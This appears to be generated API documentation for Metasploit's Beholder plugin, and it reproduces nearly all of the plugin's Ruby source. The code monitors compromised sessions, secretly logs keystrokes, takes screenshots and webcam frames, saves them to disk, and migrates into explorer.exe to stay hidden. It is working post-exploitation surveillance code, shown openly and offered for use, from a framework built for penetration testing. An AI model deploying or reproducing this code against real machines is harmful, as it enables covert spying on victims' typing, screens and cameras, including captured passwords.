Class: Msf::Plugin::Beholder::BeholderWorker
- Inherits:
-
Object
- Object
- Msf::Plugin::Beholder::BeholderWorker
- Defined in:
- plugins/beholder.rb
Overview
Worker Thread
Instance Attribute Summary collapse
-
#config ⇒ Object
Returns the value of attribute config.
-
#driver ⇒ Object
Returns the value of attribute driver.
-
#framework ⇒ Object
Returns the value of attribute framework.
-
#state ⇒ Object
Returns the value of attribute state.
-
#thread ⇒ Object
Returns the value of attribute thread.
Instance Method Summary collapse
- #cache_sysinfo(sid) ⇒ Object
- #capture_filename(sid) ⇒ Object
-
#collect_keystrokes(sid) ⇒ Object
TODO: Stop the keystroke scanner when the plugin exits.
-
#collect_screenshot(sid) ⇒ Object
TODO: Specify image quality.
-
#collect_webcam(sid) ⇒ Object
TODO: Specify webcam index and frame quality.
-
#compatible?(sid) ⇒ Boolean
Only support sessions that have core.migrate().
-
#initialize(framework, config, driver) ⇒ BeholderWorker
constructor
A new instance of BeholderWorker.
- #process(sid) ⇒ Object
- #session_log(sid, msg) ⇒ Object
-
#stale_session?(sid) ⇒ Boolean
Skip sessions with ancient last checkin times.
- #start ⇒ Object
- #stop ⇒ Object
- #store_keystrokes(sid, data) ⇒ Object
- #store_screenshot(sid, data) ⇒ Object
- #store_session_info(sid) ⇒ Object
- #store_webcam(sid, data) ⇒ Object
- #verify_migration(sid) ⇒ Object
Constructor Details
#initialize(framework, config, driver) ⇒ BeholderWorker
Returns a new instance of BeholderWorker.
15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
# File 'plugins/beholder.rb', line 15 def initialize(framework, config, driver) self.state = {} self.framework = framework self.config = config self.driver = driver self.thread = framework.threads.spawn('BeholderWorker', false) do begin start rescue ::Exception => e warn "BeholderWorker: #{e.class} #{e} #{e.backtrace}" end # Mark this worker as dead self.thread = nil end end |
Instance Attribute Details
#config ⇒ Object
Returns the value of attribute config.
13 14 15 |
# File 'plugins/beholder.rb', line 13 def config @config end |
#driver ⇒ Object
Returns the value of attribute driver.
13 14 15 |
# File 'plugins/beholder.rb', line 13 def driver @driver end |
#framework ⇒ Object
Returns the value of attribute framework.
13 14 15 |
# File 'plugins/beholder.rb', line 13 def framework @framework end |
#state ⇒ Object
Returns the value of attribute state.
13 14 15 |
# File 'plugins/beholder.rb', line 13 def state @state end |
#thread ⇒ Object
Returns the value of attribute thread.
13 14 15 |
# File 'plugins/beholder.rb', line 13 def thread @thread end |
Instance Method Details
#cache_sysinfo(sid) ⇒ Object
165 166 167 168 169 170 |
# File 'plugins/beholder.rb', line 165 def cache_sysinfo(sid) return if state[sid][:sysinfo] state[sid][:sysinfo] = framework.sessions[sid].sys.config.sysinfo state[sid][:name] = "#{sid}_" + (state[sid][:sysinfo]['Computer'] || 'Unknown').gsub(/[^A-Za-z0-9._-]/, '') end |
#capture_filename(sid) ⇒ Object
98 99 100 |
# File 'plugins/beholder.rb', line 98 def capture_filename(sid) state[sid][:name] + '_' + Time.now.strftime('%Y%m%d-%H%M%S') end |
#collect_keystrokes(sid) ⇒ Object
TODO: Stop the keystroke scanner when the plugin exits
123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 |
# File 'plugins/beholder.rb', line 123 def collect_keystrokes(sid) return unless config[:keystrokes] sess = framework.sessions[sid] unless state[sid][:keyscan] # Consume any error (happens if the keystroke thread is already active) begin sess.ui.keyscan_start rescue StandardError nil end state[sid][:keyscan] = true return end collected_keys = sess.ui.keyscan_dump store_keystrokes(sid, collected_keys) end |
#collect_screenshot(sid) ⇒ Object
TODO: Specify image quality
143 144 145 146 147 148 149 |
# File 'plugins/beholder.rb', line 143 def collect_screenshot(sid) return unless config[:screenshot] sess = framework.sessions[sid] collected_image = sess.ui.screenshot(50) store_screenshot(sid, collected_image) end |
#collect_webcam(sid) ⇒ Object
TODO: Specify webcam index and frame quality
152 153 154 155 156 157 158 159 160 161 162 163 |
# File 'plugins/beholder.rb', line 152 def collect_webcam(sid) return unless config[:webcam] sess = framework.sessions[sid] begin sess.webcam.webcam_start(1) collected_image = sess.webcam.webcam_get_frame(100) store_webcam(sid, collected_image) ensure sess.webcam.webcam_stop end end |
#compatible?(sid) ⇒ Boolean
Only support sessions that have core.migrate()
208 209 210 211 |
# File 'plugins/beholder.rb', line 208 def compatible?(sid) framework.sessions[sid].respond_to?(:core) && framework.sessions[sid].core.respond_to?(:migrate) end |
#process(sid) ⇒ Object
70 71 72 73 74 75 76 77 78 79 80 81 |
# File 'plugins/beholder.rb', line 70 def process(sid) state[sid] ||= {} store_session_info(sid) return unless compatible?(sid) return if stale_session?(sid) verify_migration(sid) cache_sysinfo(sid) collect_keystrokes(sid) collect_screenshot(sid) collect_webcam(sid) end |
#session_log(sid, msg) ⇒ Object
83 84 85 86 87 |
# File 'plugins/beholder.rb', line 83 def session_log(sid, msg) ::File.open(::File.join(config[:base], 'session.log'), 'a') do |fd| fd.puts "#{Time.now.strftime('%Y-%m-%d %H:%M:%S')} Session #{sid} [#{state[sid][:info]}] #{msg}" end end |
#stale_session?(sid) ⇒ Boolean
Skip sessions with ancient last checkin times
214 215 216 217 218 219 220 221 222 223 224 |
# File 'plugins/beholder.rb', line 214 def stale_session?(sid) return unless framework.sessions[sid].respond_to?(:last_checkin) session_age = Time.now.to_i - framework.sessions[sid].last_checkin.to_i # TODO: Make the max age configurable, for now 5 minutes seems reasonable if session_age > 300 session_log(sid, "is a stale session, skipping, last checked in #{session_age} seconds ago") return true end return end |
#start ⇒ Object
43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 |
# File 'plugins/beholder.rb', line 43 def start driver.print_status("Beholder is logging to #{config[:base]}") = %i[screenshot webcam keystrokes automigrate] .each do |o| config[o] = !(config[o].to_s =~ /^[yt1]/i).nil? end = %i[idle freq] .each do |o| config[o] = config[o].to_i end ::FileUtils.mkdir_p(config[:base]) loop do framework.sessions.each_key do |sid| if state[sid].nil? || (state[sid][:last_update] + config[:freq] < Time.now.to_f) process(sid) end rescue ::Exception => e session_log(sid, "triggered an exception: #{e.class} #{e} #{e.backtrace}") end sleep(1) end end |
#stop ⇒ Object
32 33 34 35 36 37 38 39 40 41 |
# File 'plugins/beholder.rb', line 32 def stop return unless thread begin thread.kill rescue StandardError nil end self.thread = nil end |
#store_keystrokes(sid, data) ⇒ Object
102 103 104 105 106 107 108 |
# File 'plugins/beholder.rb', line 102 def store_keystrokes(sid, data) return if data.empty? filename = capture_filename(sid) + '_keystrokes.txt' ::File.open(::File.join(config[:base], filename), 'wb') { |fd| fd.write(data) } session_log(sid, "captured keystrokes to #{filename}") end |
#store_screenshot(sid, data) ⇒ Object
110 111 112 113 114 |
# File 'plugins/beholder.rb', line 110 def store_screenshot(sid, data) filename = capture_filename(sid) + '_screenshot.jpg' ::File.open(::File.join(config[:base], filename), 'wb') { |fd| fd.write(data) } session_log(sid, "captured screenshot to #{filename}") end |
#store_session_info(sid) ⇒ Object
89 90 91 92 93 94 95 96 |
# File 'plugins/beholder.rb', line 89 def store_session_info(sid) state[sid][:last_update] = Time.now.to_f return if state[sid][:initialized] state[sid][:info] = framework.sessions[sid].info session_log(sid, 'registered') state[sid][:initialized] = true end |
#store_webcam(sid, data) ⇒ Object
116 117 118 119 120 |
# File 'plugins/beholder.rb', line 116 def store_webcam(sid, data) filename = capture_filename(sid) + '_webcam.jpg' ::File.open(::File.join(config[:base], filename), 'wb') { |fd| fd.write(data) } session_log(sid, "captured webcam snap to #{filename}") end |
#verify_migration(sid) ⇒ Object
172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 |
# File 'plugins/beholder.rb', line 172 def verify_migration(sid) return unless config[:automigrate] return if state[sid][:migrated] sess = framework.sessions[sid] # Are we in an explorer process already? pid = sess.sys.process.getpid session_log(sid, "has process ID #{pid}") ps = sess.sys.process.get_processes this_ps = ps.select { |x| x['pid'] == pid }.first # Already in explorer? Mark the session and move on if this_ps && this_ps['name'].to_s.downcase == 'explorer.exe' session_log(sid, 'is already in explorer.exe') state[sid][:migrated] = true return end # Attempt to migrate, but flag that we tried either way state[sid][:migrated] = true # Grab the first explorer.exe process we find that we have rights to target_ps = ps.select { |x| x['name'].to_s.downcase == 'explorer.exe' && x['user'].to_s != '' }.first unless target_ps # No explorer.exe process? session_log(sid, 'no explorer.exe process found for automigrate') return end # Attempt to migrate to the target pid session_log(sid, "attempting to migrate to #{target_ps.inspect}") sess.core.migrate(target_ps['pid']) end |